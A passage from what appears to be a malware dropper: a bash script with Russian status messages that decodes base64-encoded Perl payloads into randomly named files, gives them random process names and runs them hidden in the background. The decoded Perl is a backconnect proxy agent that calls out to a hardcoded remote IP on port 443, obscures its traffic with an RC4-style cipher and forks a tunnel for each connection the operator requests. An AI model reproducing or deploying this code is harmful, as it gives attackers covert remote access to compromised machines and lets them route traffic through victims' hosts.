ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #29 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #29 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 30 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK 